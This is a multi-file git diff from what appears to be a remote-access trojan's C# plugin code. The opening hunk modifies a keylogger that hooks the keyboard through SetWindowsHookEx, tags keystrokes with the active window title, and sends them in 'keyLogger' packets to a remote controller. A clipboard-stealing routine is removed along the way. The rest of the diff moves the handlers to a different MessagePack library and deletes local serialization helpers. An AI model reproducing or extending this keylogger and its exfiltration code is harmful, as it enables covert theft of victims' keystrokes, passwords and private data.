string currentKey = KeyboardLayout((uint)vkCode);
if (capsLockPressed || shiftPressed)
@ -100,15 +151,7 @@ namespace Plugin
currentKey = currentKey.ToLower();
}
if (ctrlPressed)
{
if (((Keys)vkCode == Keys.X) || ((Keys)vkCode == Keys.C) || ((Keys)vkCode == Keys.V))
{
ClipboardGetText(((Keys)vkCode).ToString());
currentKey = string.Empty;
}
}
else if ((Keys)vkCode >= Keys.F1 && (Keys)vkCode <= Keys.F24)
if ((Keys)vkCode >= Keys.F1 && (Keys)vkCode <= Keys.F24)
currentKey = "[" + (Keys)vkCode + "]";
else
{
@ -141,11 +184,8 @@ namespace Plugin
}
else
{
sb.Append(Environment.NewLine);
sb.Append(Environment.NewLine);
sb.Append($"### {GetActiveWindowTitle()} | {DateTime.Now.ToShortTimeString()} ###");
sb.Append(Environment.NewLine);
sb.Append(currentKey);
sb.Append($"\n\r[{DateTime.Now.ToShortTimeString()}] [{GetActiveWindowTitle()}]");
sb.Append($"\n{currentKey}");
}
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "keyLogger";
@ -162,27 +202,6 @@ namespace Plugin
}
}
private static void ClipboardGetText(string key)
{
Thread STAThread = new Thread(
delegate ()
{
if (Clipboard.ContainsText())
{
Thread.Sleep(500);
string ReturnValue = string.Empty;
ReturnValue = Clipboard.GetText();
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "keyLogger";
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
msgpack.ForcePathObject("log").AsString = $"\n[CTRL+{key}]:{ReturnValue}\n";
Connection.Send(msgpack.Encode2Bytes());
}
});
STAThread.SetApartmentState(ApartmentState.STA);
STAThread.Start();
}
private static string KeyboardLayout(uint vkCode)
{
try
@ -203,19 +222,20 @@ namespace Plugin
{
try
{
IntPtr hwnd = GetForegroundWindow();
GetWindowThreadProcessId(hwnd, out uint pid);
Process p = Process.GetProcessById((int)pid);
string title = p.MainWindowTitle;
if (string.IsNullOrWhiteSpace(title))
title = p.ProcessName;
CurrentActiveWindowTitle = title;
return title;
const int nChars = 256;
StringBuilder stringBuilder = new StringBuilder(nChars);
IntPtr handle = GetForegroundWindow();
GetWindowThreadProcessId(handle, out uint pid);
if (GetWindowText(handle, stringBuilder, nChars) > 0)
{
CurrentActiveWindowTitle = stringBuilder.ToString();
return CurrentActiveWindowTitle;
}
}
catch (Exception)
{
return "???";
}
return "???";
}
#region "Hooks & Native Methods"
@ -227,6 +247,8 @@ namespace Plugin
private static string CurrentActiveWindowTitle;
[DllImport("user32.dll")]
private static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

View File

@ -1,45 +0,0 @@
using System;
using System.IO;
using System.IO.Compression;
namespace Plugin
{
public static class Zip
{
public static byte[] Decompress(byte[] input)
{
using (var source = new MemoryStream(input))
{
byte[] lengthBytes = new byte[4];
source.Read(lengthBytes, 0, 4);
var length = BitConverter.ToInt32(lengthBytes, 0);
using (var decompressionStream = new GZipStream(source,
CompressionMode.Decompress))
{
var result = new byte[length];
decompressionStream.Read(result, 0, length);
return result;
}
}
}
public static byte[] Compress(byte[] input)
{
using (var result = new MemoryStream())
{
var lengthBytes = BitConverter.GetBytes(input.Length);
result.Write(lengthBytes, 0, 4);
using (var compressionStream = new GZipStream(result,
CompressionMode.Compress))
{
compressionStream.Write(input, 0, input.Length);
compressionStream.Flush();
}
return result.ToArray();
}
}
}
}

View File

@ -0,0 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="ILMerge" version="3.0.29" targetFramework="net40" />
<package id="MSBuild.ILMerge.Task" version="1.1.3" targetFramework="net40" />
</packages>

View File

@ -1,4 +1,4 @@
using Plugin.MessagePack;
using MessagePackLib.MessagePack;
using System;
using System.Collections.Generic;
using System.Diagnostics;
@ -190,6 +190,7 @@ namespace Plugin
{
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(chunk, 0, read);
SslClient.Flush();
}
}
}

View File

@ -4,7 +4,7 @@ using System.Diagnostics;
using System.Runtime.InteropServices;
using Microsoft.Win32;
using System.Security.Principal;
using Plugin.MessagePack;
using MessagePackLib.MessagePack;
using Plugin;
namespace Miscellaneous.Handler

View File

@ -3,7 +3,7 @@ using System.Diagnostics;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using Plugin.MessagePack;
using MessagePackLib.MessagePack;
using Plugin;
namespace Miscellaneous.Handler

View File

@ -1,5 +1,5 @@
using Plugin;
using Plugin.MessagePack;
using MessagePackLib.MessagePack;
using System;
using System.Collections.Generic;
using System.Diagnostics;

View File

@ -1,5 +1,5 @@
using Plugin;
using Plugin.MessagePack;
using MessagePackLib.MessagePack;
using System;
using System.Collections.Generic;
using System.Diagnostics;

View File

@ -1,7 +1,7 @@
using Microsoft.CSharp;
using Microsoft.VisualBasic;
using Plugin;
using Plugin.MessagePack;
using MessagePackLib.MessagePack;
using System;
using System.CodeDom.Compiler;
using System.Collections.Generic;

View File

@ -1,102 +0,0 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
public class BytesTools
{
static UTF8Encoding utf8Encode = new UTF8Encoding();
public static byte[] GetUtf8Bytes(String s)
{
return utf8Encode.GetBytes(s);
}
public static String GetString(byte[] utf8Bytes)
{
return utf8Encode.GetString(utf8Bytes);
}
public static String BytesAsString(byte[] bytes)
{
StringBuilder sb = new StringBuilder();
foreach (byte b in bytes)
{
sb.Append(String.Format("{0:D3} ", b));
}
return sb.ToString();
}
public static String BytesAsHexString(byte[] bytes)
{
StringBuilder sb = new StringBuilder();
foreach (byte b in bytes)
{
sb.Append(String.Format("{0:X2} ", b));
}
return sb.ToString();
}
/// <summary>
/// 交换byte数组数据
/// 可用于高低数据交换
/// </summary>
/// <param name="v">要交换的byte数组</param>
/// <returns>返回交换后的数据</returns>
public static byte[] SwapBytes(byte[] v)
{
byte[] r = new byte[v.Length];
int j = v.Length - 1;
for (int i = 0; i < r.Length; i++)
{
r[i] = v[j];
j--;
}
return r;
}
public static byte[] SwapInt64(Int64 v)
{
//byte[] r = new byte[8];
//r[7] = (byte)v;
//r[6] = (byte)(v >> 8);
//r[5] = (byte)(v >> 16);
//r[4] = (byte)(v >> 24);
//r[3] = (byte)(v >> 32);
//r[2] = (byte)(v >> 40);
//r[1] = (byte)(v >> 48);
//r[0] = (byte)(v >> 56);
return SwapBytes(BitConverter.GetBytes(v));
}
public static byte[] SwapInt32(Int32 v)
{
byte[] r = new byte[4];
r[3] = (byte)v;
r[2] = (byte)(v >> 8);
r[1] = (byte)(v >> 16);
r[0] = (byte)(v >> 24);
return r;
}
public static byte[] SwapInt16(Int16 v)
{
byte[] r = new byte[2];
r[1] = (byte)v;
r[0] = (byte)(v >> 8);
return r;
}
public static byte[] SwapDouble(Double v)
{
return SwapBytes(BitConverter.GetBytes(v));
}
}
}

View File

@ -1,927 +0,0 @@
using System;
using System.Collections;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
public class MsgPackEnum : IEnumerator
{
List<MsgPack> children;
int position = -1;
public MsgPackEnum(List<MsgPack> obj)
{
children = obj;
}
object IEnumerator.Current
{
get { return children[position]; }
}
bool IEnumerator.MoveNext()
{
position++;
return (position < children.Count);
}
void IEnumerator.Reset()
{
position = -1;
}
}
public class MsgPackArray
{
List<MsgPack> children;
MsgPack owner;
public MsgPackArray(MsgPack msgpackObj, List<MsgPack> listObj)
{
owner = msgpackObj;
children = listObj;
}
public MsgPack Add()
{
return owner.AddArrayChild();
}
public MsgPack Add(String value)
{
MsgPack obj = owner.AddArrayChild();
obj.AsString = value;
return obj;
}
public MsgPack Add(Int64 value)
{
MsgPack obj = owner.AddArrayChild();
obj.SetAsInteger(value);
return obj;
}
public MsgPack Add(Double value)
{
MsgPack obj = owner.AddArrayChild();
obj.SetAsFloat(value);
return obj;
}
public MsgPack this[int index]
{
get { return children[index]; }
}
public int Length
{
get { return children.Count; }
}
}
public class MsgPack : IEnumerable
{
string name;
string lowerName;
object innerValue;
MsgPackType valueType;
MsgPack parent;
List<MsgPack> children = new List<MsgPack>();
MsgPackArray refAsArray = null;
private void SetName(string value)
{
this.name = value;
this.lowerName = name.ToLower();
}
private void Clear()
{
for (int i = 0; i < children.Count; i++)
{
((MsgPack)children[i]).Clear();
}
children.Clear();
}
private MsgPack InnerAdd()
{
MsgPack r = new MsgPack();
r.parent = this;
this.children.Add(r);
return r;
}
private int IndexOf(string name)
{
int i = -1;
int r = -1;
string tmp = name.ToLower();
foreach (MsgPack item in children)
{
i++;
if (tmp.Equals(item.lowerName))
{
r = i;
break;
}
}
return r;
}
public MsgPack FindObject(string name)
{
int i = IndexOf(name);
if (i == -1)
{
return null;
}
else
{
return this.children[i];
}
}
private MsgPack InnerAddMapChild()
{
if (valueType != MsgPackType.Map)
{
Clear();
this.valueType = MsgPackType.Map;
}
return InnerAdd();
}
private MsgPack InnerAddArrayChild()
{
if (valueType != MsgPackType.Array)
{
Clear();
this.valueType = MsgPackType.Array;
}
return InnerAdd();
}
public MsgPack AddArrayChild()
{
return InnerAddArrayChild();
}
private void WriteMap(Stream ms)
{
byte b;
byte[] lenBytes;
int len = children.Count;
if (len <= 15)
{
b = (byte)(0x80 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDE;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDF;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
for (int i = 0; i < len; i++)
{
WriteTools.WriteString(ms, children[i].name);
children[i].Encode2Stream(ms);
}
}
private void WirteArray(Stream ms)
{
byte b;
byte[] lenBytes;
int len = children.Count;
if (len <= 15)
{
b = (byte)(0x90 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDC;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDD;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
for (int i = 0; i < len; i++)
{
((MsgPack)children[i]).Encode2Stream(ms);
}
}
public void SetAsInteger(Int64 value)
{
this.innerValue = value;
this.valueType = MsgPackType.Integer;
}
public void SetAsUInt64(UInt64 value)
{
this.innerValue = value;
this.valueType = MsgPackType.UInt64;
}
public UInt64 GetAsUInt64()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return Convert.ToUInt64((Int64)this.innerValue);
case MsgPackType.UInt64:
return (UInt64)this.innerValue;
case MsgPackType.String:
return UInt64.Parse(this.innerValue.ToString().Trim());
case MsgPackType.Float:
return Convert.ToUInt64((Double)this.innerValue);
case MsgPackType.Single:
return Convert.ToUInt64((Single)this.innerValue);
case MsgPackType.DateTime:
return Convert.ToUInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public Int64 GetAsInteger()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return (Int64)this.innerValue;
case MsgPackType.UInt64:
return Convert.ToInt64((Int64)this.innerValue);
case MsgPackType.String:
return Int64.Parse(this.innerValue.ToString().Trim());
case MsgPackType.Float:
return Convert.ToInt64((Double)this.innerValue);
case MsgPackType.Single:
return Convert.ToInt64((Single)this.innerValue);
case MsgPackType.DateTime:
return Convert.ToInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public Double GetAsFloat()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return Convert.ToDouble((Int64)this.innerValue);
case MsgPackType.String:
return Double.Parse((String)this.innerValue);
case MsgPackType.Float:
return (Double)this.innerValue;
case MsgPackType.Single:
return (Single)this.innerValue;
case MsgPackType.DateTime:
return Convert.ToInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public void SetAsBytes(byte[] value)
{
this.innerValue = value;
this.valueType = MsgPackType.Binary;
}
public byte[] GetAsBytes()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return BitConverter.GetBytes((Int64)this.innerValue);
case MsgPackType.String:
return BytesTools.GetUtf8Bytes(this.innerValue.ToString());
case MsgPackType.Float:
return BitConverter.GetBytes((Double)this.innerValue);
case MsgPackType.Single:
return BitConverter.GetBytes((Single)this.innerValue);
case MsgPackType.DateTime:
long dateval = ((DateTime)this.innerValue).ToBinary();
return BitConverter.GetBytes(dateval);
case MsgPackType.Binary:
return (byte[])this.innerValue;
default:
return new byte[] { };
}
}
public void Add(string key, String value)
{
MsgPack tmp = InnerAddArrayChild();
tmp.name = key;
tmp.SetAsString(value);
}
public void Add(string key, int value)
{
MsgPack tmp = InnerAddArrayChild();
tmp.name = key;
tmp.SetAsInteger(value);
}
public bool LoadFileAsBytes(string fileName)
{
if (File.Exists(fileName))
{
byte[] value = null;
FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read);
value = new byte[fs.Length];
fs.Read(value, 0, (int)fs.Length);
fs.Close();
fs.Dispose();
SetAsBytes(value);
return true;
}
else
{
return false;
}
}
public bool SaveBytesToFile(string fileName)
{
if (this.innerValue != null)
{
FileStream fs = new FileStream(fileName, FileMode.Append);
fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length);
fs.Close();
fs.Dispose();
return true;
}
else
{
return false;
}
}
public MsgPack ForcePathObject(string path)
{
MsgPack tmpParent, tmpObject;
tmpParent = this;
string[] pathList = path.Trim().Split(new Char[] { '.', '/', '\\' });
string tmp = null;
if (pathList.Length == 0)
{
return null;
}
else if (pathList.Length > 1)
{
for (int i = 0; i < pathList.Length - 1; i++)
{
tmp = pathList[i];
tmpObject = tmpParent.FindObject(tmp);
if (tmpObject == null)
{
tmpParent = tmpParent.InnerAddMapChild();
tmpParent.SetName(tmp);
}
else
{
tmpParent = tmpObject;
}
}
}
tmp = pathList[pathList.Length - 1];
int j = tmpParent.IndexOf(tmp);
if (j > -1)
{
return tmpParent.children[j];
}
else
{
tmpParent = tmpParent.InnerAddMapChild();
tmpParent.SetName(tmp);
return tmpParent;
}
}
public void SetAsNull()
{
Clear();
this.innerValue = null;
this.valueType = MsgPackType.Null;
}
public void SetAsString(String value)
{
this.innerValue = value;
this.valueType = MsgPackType.String;
}
public String GetAsString()
{
if (this.innerValue == null)
{
return "";
}
else
{
return this.innerValue.ToString();
}
}
public void SetAsBoolean(Boolean bVal)
{
this.valueType = MsgPackType.Boolean;
this.innerValue = bVal;
}
public void SetAsSingle(Single fVal)
{
this.valueType = MsgPackType.Single;
this.innerValue = fVal;
}
public void SetAsFloat(Double fVal)
{
this.valueType = MsgPackType.Float;
this.innerValue = fVal;
}
public void DecodeFromBytes(byte[] bytes)
{
using (MemoryStream ms = new MemoryStream())
{
bytes = Zip.Decompress(bytes);
ms.Write(bytes, 0, bytes.Length);
ms.Position = 0;
DecodeFromStream(ms);
}
}
public void DecodeFromFile(string fileName)
{
FileStream fs = new FileStream(fileName, FileMode.Open);
DecodeFromStream(fs);
fs.Dispose();
}
public void DecodeFromStream(Stream ms)
{
byte lvByte = (byte)ms.ReadByte();
byte[] rawByte = null;
MsgPack msgPack = null;
int len = 0;
int i = 0;
if (lvByte <= 0x7F)
{ //positive fixint 0xxxxxxx 0x00 - 0x7f
SetAsInteger(lvByte);
}
else if ((lvByte >= 0x80) && (lvByte <= 0x8F))
{
//fixmap 1000xxxx 0x80 - 0x8f
this.Clear();
this.valueType = MsgPackType.Map;
len = lvByte - 0x80;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if ((lvByte >= 0x90) && (lvByte <= 0x9F)) //fixarray 1001xxxx 0x90 - 0x9f
{
//fixmap 1000xxxx 0x80 - 0x8f
this.Clear();
this.valueType = MsgPackType.Array;
len = lvByte - 0x90;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if ((lvByte >= 0xA0) && (lvByte <= 0xBF)) // fixstr 101xxxxx 0xa0 - 0xbf
{
len = lvByte - 0xA0;
SetAsString(ReadTools.ReadString(ms, len));
}
else if ((lvByte >= 0xE0) && (lvByte <= 0xFF))
{ /// -1..-32
// negative fixnum stores 5-bit negative integer
// +--------+
// |111YYYYY|
// +--------+
SetAsInteger((sbyte)lvByte);
}
else if (lvByte == 0xC0)
{
SetAsNull();
}
else if (lvByte == 0xC1)
{
throw new Exception("(never used) type $c1");
}
else if (lvByte == 0xC2)
{
SetAsBoolean(false);
}
else if (lvByte == 0xC3)
{
SetAsBoolean(true);
}
else if (lvByte == 0xC4)
{ // max 255
len = ms.ReadByte();
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if (lvByte == 0xC5)
{ // max 65535
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToUInt16(rawByte, 0);
// read binary
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if (lvByte == 0xC6)
{ // binary max: 2^32-1
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt32(rawByte, 0);
// read binary
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if ((lvByte == 0xC7) || (lvByte == 0xC8) || (lvByte == 0xC9))
{
throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9");
}
else if (lvByte == 0xCA)
{ // float 32
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsSingle(BitConverter.ToSingle(rawByte, 0));
}
else if (lvByte == 0xCB)
{ // float 64
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsFloat(BitConverter.ToDouble(rawByte, 0));
}
else if (lvByte == 0xCC)
{ // uint8
// uint 8 stores a 8-bit unsigned integer
// +--------+--------+
// | 0xcc |ZZZZZZZZ|
// +--------+--------+
lvByte = (byte)ms.ReadByte();
SetAsInteger(lvByte);
}
else if (lvByte == 0xCD)
{ // uint16
// uint 16 stores a 16-bit big-endian unsigned integer
// +--------+--------+--------+
// | 0xcd |ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToUInt16(rawByte, 0));
}
else if (lvByte == 0xCE)
{
// uint 32 stores a 32-bit big-endian unsigned integer
// +--------+--------+--------+--------+--------+
// | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ
// +--------+--------+--------+--------+--------+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToUInt32(rawByte, 0));
}
else if (lvByte == 0xCF)
{
// uint 64 stores a 64-bit big-endian unsigned integer
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
// | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsUInt64(BitConverter.ToUInt64(rawByte, 0));
}
else if (lvByte == 0xDC)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdc |YYYYYYYY|YYYYYYYY| N objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Array;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDD)
{
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects |
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Array;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xD9)
{
// str 8 stores a byte array whose length is upto (2^8)-1 bytes:
// +--------+--------+========+
// | 0xd9 |YYYYYYYY| data |
// +--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xDE)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDE)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDF)
{
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects |
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt32(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDA)
{
// str 16 stores a byte array whose length is upto (2^16)-1 bytes:
// +--------+--------+--------+========+
// | 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
// +--------+--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xDB)
{
// str 32 stores a byte array whose length is upto (2^32)-1 bytes:
// +--------+--------+--------+--------+--------+========+
// | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
// +--------+--------+--------+--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xD0)
{
// int 8 stores a 8-bit signed integer
// +--------+--------+
// | 0xd0 |ZZZZZZZZ|
// +--------+--------+
SetAsInteger((sbyte)ms.ReadByte());
}
else if (lvByte == 0xD1)
{
// int 16 stores a 16-bit big-endian signed integer
// +--------+--------+--------+
// | 0xd1 |ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt16(rawByte, 0));
}
else if (lvByte == 0xD2)
{
// int 32 stores a 32-bit big-endian signed integer
// +--------+--------+--------+--------+--------+
// | 0xd2 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt32(rawByte, 0));
}
else if (lvByte == 0xD3)
{
// int 64 stores a 64-bit big-endian signed integer
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
// | 0xd3 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt64(rawByte, 0));
}
}
public byte[] Encode2Bytes()
{
using (MemoryStream ms = new MemoryStream())
{
Encode2Stream(ms);
byte[] r = new byte[ms.Length];
ms.Position = 0;
ms.Read(r, 0, (int)ms.Length);
return Zip.Compress(r);
}
}
public void Encode2Stream(Stream ms)
{
switch (this.valueType)
{
case MsgPackType.Unknown:
case MsgPackType.Null:
WriteTools.WriteNull(ms);
break;
case MsgPackType.String:
WriteTools.WriteString(ms, (String)this.innerValue);
break;
case MsgPackType.Integer:
WriteTools.WriteInteger(ms, (Int64)this.innerValue);
break;
case MsgPackType.UInt64:
WriteTools.WriteUInt64(ms, (UInt64)this.innerValue);
break;
case MsgPackType.Boolean:
WriteTools.WriteBoolean(ms, (Boolean)this.innerValue);
break;
case MsgPackType.Float:
WriteTools.WriteFloat(ms, (Double)this.innerValue);
break;
case MsgPackType.Single:
WriteTools.WriteFloat(ms, (Single)this.innerValue);
break;
case MsgPackType.DateTime:
WriteTools.WriteInteger(ms, GetAsInteger());
break;
case MsgPackType.Binary:
WriteTools.WriteBinary(ms, (byte[])this.innerValue);
break;
case MsgPackType.Map:
WriteMap(ms);
break;
case MsgPackType.Array:
WirteArray(ms);
break;
default:
WriteTools.WriteNull(ms);
break;
}
}
public String AsString
{
get
{
return GetAsString();
}
set
{
SetAsString(value);
}
}
public Int64 AsInteger
{
get { return GetAsInteger(); }
set { SetAsInteger((Int64)value); }
}
public Double AsFloat
{
get { return GetAsFloat(); }
set { SetAsFloat(value); }
}
public MsgPackArray AsArray
{
get
{
lock (this)
{
if (refAsArray == null)
{
refAsArray = new MsgPackArray(this, children);
}
}
return refAsArray;
}
}
public MsgPackType ValueType
{
get { return valueType; }
}
IEnumerator IEnumerable.GetEnumerator()
{
return new MsgPackEnum(children);
}
}
}

View File

@ -1,24 +0,0 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
public enum MsgPackType
{
Unknown = 0,
Null = 1,
Map = 2,
Array = 3,
String = 4,
Integer = 5,
UInt64 = 6,
Boolean = 7,
Float = 8,
Single = 9,
DateTime = 10,
Binary = 11
}
}

Some files were not shown because too many files have changed in this diff Show More